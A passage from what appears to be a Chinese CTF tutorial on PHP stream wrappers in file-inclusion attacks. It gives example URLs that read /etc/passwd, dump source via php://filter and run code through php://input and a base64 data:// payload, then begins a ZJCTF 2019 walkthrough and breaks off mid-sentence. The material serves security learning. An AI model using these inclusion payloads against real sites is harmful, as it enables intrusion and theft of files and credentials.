</h1>
<div class="clear"></div>
<div class="postBody">
file://#
作用:
用于访问文件(绝对路径、相对路径、网络路径)
示例:
http://www.xx.com?file=file:///etc/passswd
php://#
作用:
访问输入输出流
1. php://filter
作用:
读取源代码并进行base64编码输出
示例:
http://127.0.0.1/cmd.php?cmd=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)
参数:
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。
2. php://input
作用:
执行POST数据中的php代码
示例:
http://127.0.0.1/cmd.php?cmd=php://input
POST数据:
<?php phpinfo()?>
注意:
enctype="multipart/form-data"
的时候php://input
是无效的
data://#
作用:
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到
base64编码
传输
示例:
http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b
实例(https://buuoj.cn/challenges#[ZJCTF%202019]NiZhuanSiWei)
#
打开网址,给了源码
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
- 代码示意我们要get传参text,file,password
- 通过初步观察,可基本确定text要求传入文件,且文件内容为:
welcome to the zjctf
、file传入一个文件名,通过include($file)
包含进来、password未知
伪协议第一次利用:
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
这里需要我们